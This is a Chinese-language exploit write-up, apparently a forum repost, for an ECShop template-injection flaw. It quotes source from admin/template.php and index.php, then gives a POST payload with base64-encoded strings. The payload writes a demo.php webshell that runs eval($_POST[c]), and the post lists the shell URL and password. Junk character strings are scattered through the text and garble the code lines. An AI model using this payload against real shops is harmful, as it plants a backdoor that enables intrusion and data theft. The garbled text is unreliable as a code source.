首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
7 h* T; @& q) ]. V' \1 B/ k9 C
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了5 f& F" v! P8 [: d( ~/ V7 S5 a
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
N) s8 a! b( Q! x X2 kadmin/template.php2 v9 G2 Z: `" b) g
" Q1 N, f' d& B+ ]1 if ($_REQUEST['act'] == 'update_library')
5 K J1 \8 a/ b
3 x0 a' X) s/ s! c0 n; t6 j' w2 + N$ C# l# _+ o7 b. ]
+ H2 o$ r2 L* p3 V3 { ! a% l& S3 o/ J
/ p: R6 e8 ~0 Z. Q4 A/ ? o4 check_authz_json('library_manage');
0 }4 @# x& ?9 r
* s7 f( t& J! M6 R5
. z* V1 l" V, x' V: r9 V" o+ U
3 z# }9 `+ t8 ?6 $html = stripslashes(json_str_iconv($_POST['html']));
% U, O5 J- |+ `4 ~0 U( J9 E* T* G& f0 O3 a' K& X6 X
7
% W0 w- r2 p8 U% k8 v2 h' U: Y" O: E6 C; F# t: T
8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件 + k5 n( Y$ a7 a% h
* J/ O) R$ `& C2 N+ _9 j) L9 & c* ^$ M5 p6 t& e8 H; t
9 n% h5 f& q* \$ O" z+ t! c, I
10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
9 h# |% l Z7 d! Z/ U6 F
2 b$ d4 _7 o" g$ W2 G11
" K: D. c& t( o. {. W" I4 L6 K w8 Q; w9 i" k
12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
y) c) F7 k; H4 v# N2 _) s: o, n; q1 w
13
1 `/ O, |' g9 E, o3 }% r( w* d& L) s9 X
14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出 + A, C( \% T& k
' b3 H# o G& d15 { 0 Z$ T `/ ^' i( V0 Q' r$ o
( _( \. h3 L4 O# p16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
5 k& S7 X! s; g) h1 s9 ?+ d T
+ z: v. { ]- F' F6 z17 make_json_result('', $_LANG['update_lib_success']);
9 N5 Q0 G& r" n( L+ a' V j9 i1 ^; W+ Y6 e( P: ^& ~4 U, J5 G
18 }
+ @$ s8 E3 f6 t! U, P2 N' l e5 E3 C/ U/ J- U
19 else
, B+ B$ C3 _0 G1 E/ K8 F, o1 H, {; e1 B% W
20 { & z7 J! i' W8 O# ~. T
0 L; d9 V& |0 J2 g2 l+ i21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); # c) Y- U! p4 J' K* T2 n3 A/ }2 e
, j: l. \' G& Q1 C0 O/ e22 }
1 u9 J) l: w' Z0 \% W
n* o5 X3 E8 M23 }
3 M5 ^4 [( ?0 w1 {4 H- D% h3 q: L# ` X, h1 [1 w
那么找个比较方便调用了模板的文件% Z, F% _" r1 B/ A& N- M, v4 T
index.php, n2 I# d. d6 e" {0 V9 G* i
: n* b8 @) H% L
1 if ($act == 'cat_rec') ' }/ t' f, n+ N# }: I7 G+ X
0 X, z; {+ h6 |6 [" D
2 : b$ H8 w" I _' V2 a3 s
. F" o0 s0 `- Q$ V* w& [
3 { 7 s, W: c, K* p5 }( W
& O' x$ \1 `( U+ I
4 6 G; E& C' E5 q/ B
8 ^: Y8 B9 F" d2 w
5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
" G+ |% f# m1 B' `" y' T; U6 N9 K. A' i0 N6 ?
6
& L2 h2 h5 n5 a
' j4 o- G3 z7 y6 m% y* ] T2 u4 C7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
, N! j- E' C- x I2 M9 n- D4 `, g6 V
1 Z! }* J8 N# F# v8 I' A8 / `+ S: X1 S3 H8 N
- t8 D8 C/ N. ]+ a: S9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
+ d v2 V6 G9 X; }# `' p0 d& ?5 e) x. ]7 }
10
; `0 G( c6 E5 O" p N( _
7 G2 p5 c( s& a' T, H11 include_once('includes/cls_json.php');
' P) V% A7 h; c6 h( r8 }/ Q8 `9 W L# o1 b9 ?
12 0 i5 N4 b/ |8 j
8 k" q' z, }0 {- V; X7 ?
13 $json = new JSON;
& Z- u" S. Q5 Y9 W8 V9 M0 D, L
- U1 g1 X! D6 f3 T4 p14
0 c9 p1 P3 U/ j/ O" s& }( o
8 L. i$ X" _. O/ V$ J/ R15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
+ B2 S& w% v g" v- `- q1 ~" T7 g [
16 . _- m7 j9 R: a
, B0 `, J2 Y( `# p( V" G17 $children = get_children($cat_id);
5 W) Z3 W" z8 [! m$ a
( l! t2 a* b/ M W' Q L18
* H G) @+ l! M q
$ \& v4 u& K3 E$ P8 y [' \! \7 v1 y19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品 ; K; E+ ]) X( {$ K- Y
/ f' m/ {, k' i' J1 r" H T* K
20
; p, ?! K% l1 c% q( o9 l" Q# ?5 X, a7 {) e
21 $smarty->assign('cat_rec_sign', 1);
3 x; Z# f& k" j, M2 P6 r
: r' }; f* F7 m2 `( y0 }. E: a7 }22 7 W2 ^8 w# |/ Z7 O0 m& ?
; x; v' \7 K' I5 g$ s4 y
23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
; g$ e$ D% Z. D1 ^9 ?
% x7 d7 f7 g) k& u24 7 }' d( k7 f+ G y1 }8 f b3 P
6 A( A! V! m6 Y" N) ~25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
4 t" ?6 j* Z7 I! w
2 u( C. {* f2 p; h2 k) [. m26 5 ?+ T, w0 ]* c( i# C; D# i3 u E% O
, I# Y5 O9 c" B. N7 D27 echo $rec_array[$rec_type]; 3 d% C- ~4 y3 o, a# C% z6 `+ V9 g0 j
$ d, n! h4 D) l3 Y
28
. ^$ m8 C6 W9 R% V- h$ M' o/ N+ D G/ Y& e# b7 B* H
29 die($json->encode($result)); 8 t! T" _/ i7 ?- I* j* r! }
6 ~2 [' g9 P/ d
30 ( Q4 D9 ~, S* v7 F' V9 h: u- j! ]
9 Z% S/ K0 x# w
31 }
* t9 B. q `! S% d* H5 D9 T6 p" N/ ?, Q' Z: Q6 k6 U
那么就有利用方法了
1 B3 u! x: `+ q, wpost包到http://localhost/ec/admin/template.php?act=update_library
j1 Y3 c- y! T W+ iPost内容:
" k6 _$ Q8 ~/ t, {7 z) l8 z# n/ x7 h7 d& X" L
3 C4 j- b% o8 {3 Z% n) L
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
6 _; ^$ X5 J% g. q/ o
. Q& j D9 G+ n) D+ Q/ d然后访问http://localhost/ec/index.php?act=cat_rec; B0 N8 y3 J5 C# J6 N& U9 d
" p, z: H1 t, T/ ?0 {& w \
shel地址:http://localhost/ec/demo.php3 S! W) ~) q9 m+ _3 k* P/ U; ^
密码c
3 T1 V/ ^3 U1 A; K( _, t6 h4 m
* I5 ?2 {2 m f6 k3 A6 R |